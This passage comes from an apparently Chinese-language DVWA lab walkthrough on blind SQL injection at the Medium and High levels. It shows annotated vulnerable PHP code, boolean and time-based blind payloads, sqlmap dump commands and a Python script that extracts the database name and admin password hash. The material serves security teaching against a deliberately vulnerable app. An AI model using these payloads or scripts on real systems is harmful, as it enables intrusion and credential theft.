class="comment">// POST数据不会显示在URL中</span></span><br><span class="line">    <span class="comment">// 但这不能防止SQL注入！</span></span><br><span class="line">    <span class="variable">$id</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;id&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进2：使用mysqli（而不是mysql） ★★★</span></span><br><span class="line">    <span class="comment">// mysqli_real_escape_string() - 转义特殊字符</span></span><br><span class="line">    <span class="comment">// 参数1：数据库连接</span></span><br><span class="line">    <span class="comment">// 参数2：要转义的字符串</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 转义内容：</span></span><br><span class="line">    <span class="comment">// \x00 → \\x00</span></span><br><span class="line">    <span class="comment">// \n   → \\n</span></span><br><span class="line">    <span class="comment">// \r   → \\r</span></span><br><span class="line">    <span class="comment">// \    → \\</span></span><br><span class="line">    <span class="comment">// &#x27;    → \&#x27;</span></span><br><span class="line">    <span class="comment">// &quot;    → \&quot;</span></span><br><span class="line">    <span class="comment">// \x1a → \\x1a</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 问题：</span></span><br><span class="line">    <span class="comment">// 1. 仍然是字符串拼接，不是参数化查询</span></span><br><span class="line">    <span class="comment">// 2. 在某些情况下仍可能被绕过（如宽字节注入）</span></span><br><span class="line">    <span class="comment">// 3. 不防止数字型注入（如果没有引号）</span></span><br><span class="line">    <span class="variable">$id</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ?</span><br><span class="line">           <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$id</span> ) :</span><br><span class="line">           ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 仍然拼接SQL ★★★</span></span><br><span class="line">    <span class="comment">// 虽然使用了mysqli_real_escape_string()，但仍不安全</span></span><br><span class="line">    <span class="variable">$query</span>  = <span class="string">&quot;SELECT first_name, last_name FROM users WHERE user_id = <span class="subst">$id</span>;&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进3：不显示错误信息 ★★★</span></span><br><span class="line">    <span class="comment">// 移除了 or die(mysql_error())</span></span><br><span class="line">    <span class="comment">// 攻击者无法看到SQL错误</span></span><br><span class="line">    <span class="comment">// 但这使得需要使用盲注技术</span></span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$query</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 仍然只显示存在/不存在</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$result</span> &amp;&amp; <span class="title function_ invoke__">mysqli_num_rows</span>( <span class="variable">$result</span> ) == <span class="number">1</span> ) &#123;</span><br><span class="line">        <span class="comment">// 用户存在</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;User ID exists in the database.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// ★★★ 改进4：不透露具体原因 ★★★</span></span><br><span class="line">        <span class="comment">// 无论是不存在还是查询错误，都显示相同信息</span></span><br><span class="line">        <span class="comment">// 增加了攻击难度</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;User ID is MISSING from the database.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ((<span class="title function_ invoke__">is_null</span>(<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_close</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))) ? <span class="literal">false</span> : <span class="variable">$___mysqli_res</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>HTML表单改为POST：</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">name</span>=<span class="string">&quot;form1&quot;</span> <span class="attr">action</span>=<span class="string">&quot;#&quot;</span> <span class="attr">method</span>=<span class="string">&quot;POST&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span>&gt;</span></span><br><span class="line">        User ID:</span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;id&quot;</span> <span class="attr">size</span>=<span class="string">&quot;15&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span> <span class="attr">name</span>=<span class="string">&quot;Submit&quot;</span> <span class="attr">value</span>=<span class="string">&quot;Submit&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>使用POST</strong> - 数据不在URL中</li><li><strong>mysqli_real_escape_string()</strong> - 转义特殊字符</li><li><strong>不显示错误</strong> - 移除die(mysql_error())</li><li><strong>统一错误信息</strong> - 不透露失败原因</li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>关键问题：</strong></p><p>虽然使用了<code>mysqli_real_escape_string()</code>，但：</p><ol><li><p><strong>数字型注入</strong> - 查询中<code>user_id = $id</code>没有引号！</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 注意：没有引号包围$id</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> user_id <span class="operator">=</span> $id;</span><br></pre></td></tr></table></figure></li><li><p><strong>mysqli_real_escape_string()只转义引号</strong> - 对数字型注入无效</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">输入: 1 <span class="keyword">OR</span> <span class="attribute">1</span>=1</span><br><span class="line">mysqli_real_escape_string(): 1 <span class="keyword">OR</span> <span class="attribute">1</span>=1 (不变)</span><br><span class="line">SQL: SELECT * <span class="keyword">FROM</span><span class="built_in"> users </span>WHERE user_id = 1 <span class="keyword">OR</span> <span class="attribute">1</span>=1;</span><br><span class="line">结果：注入成功！</span><br></pre></td></tr></table></figure></li></ol><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：数字型注入（最直接）"><a href="#方法1：数字型注入（最直接）" class="headerlink" title="方法1：数字型注入（最直接）"></a>方法1：数字型注入（最直接）</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 基础测试</span></span><br><span class="line"><span class="number">1</span> <span class="keyword">OR</span> <span class="number">1</span><span class="operator">=</span><span class="number">1</span>    → <span class="keyword">User</span> <span class="keyword">exists</span>（返回所有用户）</span><br><span class="line"><span class="number">1</span> <span class="keyword">AND</span> <span class="number">1</span><span class="operator">=</span><span class="number">2</span>   → <span class="keyword">User</span> <span class="keyword">not</span> found（<span class="literal">False</span>）</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 布尔盲注</span></span><br><span class="line"><span class="number">1</span> <span class="keyword">AND</span> (<span class="keyword">SELECT</span> <span class="built_in">SUBSTRING</span>(database(),<span class="number">1</span>,<span class="number">1</span>))<span class="operator">=</span><span class="string">&#x27;d&#x27;</span></span><br><span class="line"><span class="number">1</span> <span class="keyword">AND</span> LENGTH(database())<span class="operator">=</span><span class="number">4</span></span><br></pre></td></tr></table></figure><h4 id="方法2：时间盲注"><a href="#方法2：时间盲注" class="headerlink" title="方法2：时间盲注"></a>方法2：时间盲注</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 基础测试</span></span><br><span class="line"><span class="number">1</span> <span class="keyword">AND</span> SLEEP(<span class="number">5</span>)</span><br><span class="line">→ 响应延迟<span class="number">5</span>秒</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 条件时间盲注</span></span><br><span class="line"><span class="number">1</span> <span class="keyword">AND</span> IF((<span class="keyword">SELECT</span> <span class="built_in">SUBSTRING</span>(database(),<span class="number">1</span>,<span class="number">1</span>))<span class="operator">=</span><span class="string">&#x27;d&#x27;</span>, SLEEP(<span class="number">5</span>), <span class="number">0</span>)</span><br></pre></td></tr></table></figure><h4 id="方法3：使用SQLMap"><a href="#方法3：使用SQLMap" class="headerlink" title="方法3：使用SQLMap"></a>方法3：使用SQLMap</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 指定POST参数</span></span><br><span class="line">sqlmap -u <span class="string">&quot;http://dvwa.local/vulnerabilities/sqli_blind/&quot;</span> \</span><br><span class="line">       --data=<span class="string">&quot;id=1&amp;Submit=Submit&quot;</span> \</span><br><span class="line">       --cookie=<span class="string">&quot;security=medium; PHPSESSID=your_session&quot;</span> \</span><br><span class="line">       --batch \</span><br><span class="line">       -p <span class="built_in">id</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用时间盲注技术</span></span><br><span class="line">sqlmap -u <span class="string">&quot;http://dvwa.local/vulnerabilities/sqli_blind/&quot;</span> \</span><br><span class="line">       --data=<span class="string">&quot;id=1&amp;Submit=Submit&quot;</span> \</span><br><span class="line">       --cookie=<span class="string">&quot;security=medium; PHPSESSID=your_session&quot;</span> \</span><br><span class="line">       --technique=T \</span><br><span class="line">       -D dvwa -T <span class="built_in">users</span> --dump</span><br></pre></td></tr></table></figure><h4 id="方法4：Python脚本自动化"><a href="#方法4：Python脚本自动化" class="headerlink" title="方法4：Python脚本自动化"></a>方法4：Python脚本自动化</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://dvwa.local/vulnerabilities/sqli_blind/&quot;</span></span><br><span class="line">cookies = &#123;</span><br><span class="line">    <span class="string">&#x27;security&#x27;</span>: <span class="string">&#x27;medium&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;PHPSESSID&#x27;</span>: <span class="string">&#x27;your_session&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_condition</span>(<span class="params">condition</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;测试条件是否为True&quot;&quot;&quot;</span></span><br><span class="line">    payload = <span class="string">f&quot;1 AND <span class="subst">&#123;condition&#125;</span>&quot;</span></span><br><span class="line">    data = &#123;<span class="string">&#x27;id&#x27;</span>: payload, <span class="string">&#x27;Submit&#x27;</span>: <span class="string">&#x27;Submit&#x27;</span>&#125;</span><br><span class="line"></span><br><span class="line">    response = requests.post(url, data=data, cookies=cookies)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;exists&#x27;</span> <span class="keyword">in</span> response.text</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">extract_string</span>(<span class="params">query, length</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;提取字符串（布尔盲注）&quot;&quot;&quot;</span></span><br><span class="line">    result = <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, length + <span class="number">1</span>):</span><br><span class="line">        <span class="comment"># 二分法查找字符</span></span><br><span class="line">        <span class="keyword">for</span> c <span class="keyword">in</span> <span class="string">&#x27;abcdefghijklmnopqrstuvwxyz0123456789_&#x27;</span>:</span><br><span class="line">            condition = <span class="string">f&quot;(SELECT SUBSTRING((<span class="subst">&#123;query&#125;</span>),<span class="subst">&#123;i&#125;</span>,1))=&#x27;<span class="subst">&#123;c&#125;</span>&#x27;&quot;</span></span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> check_condition(condition):</span><br><span class="line">                result += c</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;Found char <span class="subst">&#123;i&#125;</span>: <span class="subst">&#123;c&#125;</span> (current: <span class="subst">&#123;result&#125;</span>)&quot;</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> result</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取数据库名长度</span></span><br><span class="line"><span class="keyword">for</span> length <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">20</span>):</span><br><span class="line">    <span class="keyword">if</span> check_condition(<span class="string">f&quot;LENGTH(database())=<span class="subst">&#123;length&#125;</span>&quot;</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Database name length: <span class="subst">&#123;length&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 提取数据库名</span></span><br><span class="line">db_name = extract_string(<span class="string">&quot;database()&quot;</span>, length)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;Database name: <span class="subst">&#123;db_name&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 提取admin密码</span></span><br><span class="line">password = extract_string(<span class="string">&quot;SELECT password FROM users WHERE user=&#x27;admin&#x27;&quot;</span>, <span class="number">32</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;Admin password hash: <span class="subst">&#123;password&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用了LIMIT和Session，增加了复杂度，但仍可盲注。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_COOKIE</span>[ <span class="string">&#x27;id&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进1：使用Cookie传递数据 ★★★</span></span><br><span class="line">    <span class="comment">// 而不是GET或POST</span></span><br><span class="line">    <span class="comment">// 但这不能防止SQL注入！</span></span><br><span class="line">    <span class="comment">// 攻击者仍可以修改Cookie</span></span><br><span class="line">    <span class="variable">$id</span> = <span class="variable">$_COOKIE</span>[ <span class="string">&#x27;id&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进2：使用Session限制尝试次数 ★★★</span></span><br><span class="line">    <span class="comment">// 检查Session中是否有尝试次数记录</span></span><br><span class="line">    <span class="keyword">if</span>( !<span class="keyword">isset</span>( <span class="variable">$_SESSION</span>[<span class="string">&#x27;count&#x27;</span>] ) ) &#123;</span><br><span class="line">        <span class="variable">$_SESSION</span>[<span class="string">&#x27;count&#x27;</span>] = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 限流机制 ★★★</span></span><br><span class="line">    <span class="comment">// 每次请求增加计数</span></span><br><span class="line">    <span class="variable">$_SESSION</span>[<span class="string">&#x27;count&#x27;</span>]++;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：限制不够严格 ★★★</span></span><br><span class="line">    <span class="comment">// 只是在特定次数后暂停1秒</span></span><br><span class="line">    <span class="comment">// 攻击者可以通过：</span></span><br><span class="line">    <span class="comment">// 1. 清除Session</span></span><br><span class="line">    <span class="comment">// 2. 使用多个Session</span></span><br><span class="line">    <span class="comment">// 3. 忍受延迟继续攻击</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$_SESSION</span>[<span class="string">&#x27;count&#x27;</span>] &gt; <span class="number">3</span> ) &#123;</span><br><span class="line">        <span class="comment">// 暂停1秒（轻微的速率限制）</span></span><br><span class="line">        <span class="title function_ invoke__">sleep</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 使用mysqli_real_escape_string()转义</span></span><br><span class="line">    <span class="variable">$id</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ?</span><br><span class="line">           <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$id</span> ) :</span><br><span class="line">           ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进3：添加LIMIT 1 ★★★</span></span><br><span class="line">    <span class="comment">// LIMIT 1 - 只返回一行结果</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 目的：限制结果数量</span></span><br><span class="line">    <span class="comment">// 问题：</span></span><br><span class="line">    <span class="comment">// 1. 不能防止SQL注入</span></span><br><span class="line">    <span class="comment">// 2. 攻击者仍可以使用盲注</span></span><br><span class="line">    <span class="comment">// 3. 可以使用UNION绕过（在某些情况下）</span></span><br><span class="line">    <span class="variable">$query</span>  = <span class="string">&quot;SELECT first_name, last_name FROM users WHERE user_id = &#x27;<span class="subst">$id</span>&#x27; LIMIT 1;&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$query</span> );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$result</span> &amp;&amp; <span class="title function_ invoke__">mysqli_num_rows</span>( <span class="variable">$result</span> ) == <span class="number">1</span> ) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;User ID exists in the database.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// ★★★ 改进4：重置Session计数 ★★★</span></span><br><span class="line">        <span class="comment">// 查询失败后重置</span></span><br><span class="line">        <span class="comment">// 但这实际上帮助了攻击者（可以无限尝试）</span></span><br><span class="line">        <span class="variable">$_SESSION</span>[<span class="string">&#x27;count&#x27;</span>] = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;User ID is MISSING from the database.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ((<span class="title function_ invoke__">is_null</span>(<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_close</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))) ? <span class="literal">false</span> : <span class="variable">$___mysqli_res</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>HTML部分（JavaScript设置Cookie）：</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">name</span>=<span class="string">&quot;form1&quot;</span> <span class="attr">onsubmit</span>=<span class="string">&quot;return setCookie();&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span>&gt;</span></span><br><span class="line">        User ID:</span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;id&quot;</span> <span class="attr">size</span>=<span class="string">&quot;15&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span> <span class="attr">value</span>=<span class="string">&quot;Submit&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// ★★★ 使用JavaScript设置Cookie ★★★</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">function</span> <span class="title function_">setCookie</span>(<span class="params"></span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> id = <span class="variable language_">document</span>.<span class="property">forms</span>[<span class="string">&quot;form1&quot;</span>][<span class="string">&quot;id&quot;</span>].<span class="property">value</span>;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 设置Cookie</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// path=/ - Cookie对整个网站有效</span></span></span><br><span class="line"><span class="language-javascript">    <span class="variable language_">document</span>.<span class="property">cookie</span> = <span class="string">&quot;id=&quot;</span> + id + <span class="string">&quot;; path=/&quot;</span>;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 重新加载页面，触发PHP处理Cookie</span></span></span><br><span class="line"><span class="language-javascript">    location.<span class="title function_">reload</span>();</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">return</span> <span class="literal">false</span>; <span class="comment">// 防止表单提交</span></span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>使用Cookie</strong> - 数据通过Cookie传递</li><li><strong>Session计数</strong> - 限制尝试次数</li><li><strong>添加LIMIT</strong> - 限制查询结果</li><li><strong>速率限制</strong> - sleep()延迟</li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：</strong></p><ol><li><strong>仍是字符串拼接</strong> - 有单引号，但仍可注入</li><li><strong>限流太弱</strong> - 只延迟1秒，可以忍受</li><li><strong>Session可重置</strong> - 清除Cookie重新开始</li><li><strong>LIMIT不防注入</strong> - 可以用注释绕过</li></ol><p><strong>LIMIT绕过：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 原始查询</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="string">&#x27;$id&#x27;</span> LIMIT <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 注释掉LIMIT</span></span><br><span class="line">$id <span class="operator">=</span> <span class="number">1</span><span class="string">&#x27; --</span></span><br><span class="line"><span class="string">结果：SELECT * FROM users WHERE user_id = &#x27;</span><span class="number">1</span><span class="string">&#x27; --&#x27;</span> LIMIT <span class="number">1</span>;</span><br><span class="line">简化：<span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="string">&#x27;1&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 或使用#</span></span><br><span class="line">$id <span class="operator">=</span> <span class="number">1</span><span class="string">&#x27; #</span></span><br><span class="line"><span class="string">结果：SELECT * FROM users WHERE user_id = &#x27;</span><span class="number">1</span><span class="string">&#x27; #&#x27;</span> LIMIT <span class="number">1</span>;</span><br></pre></td></tr></table></figure><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：注释绕过LIMIT"><a href="#方法1：注释绕过LIMIT" class="headerlink" title="方法1：注释绕过LIMIT"></a>方法1：注释绕过LIMIT</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 使用--注释</span></span><br><span class="line"><span 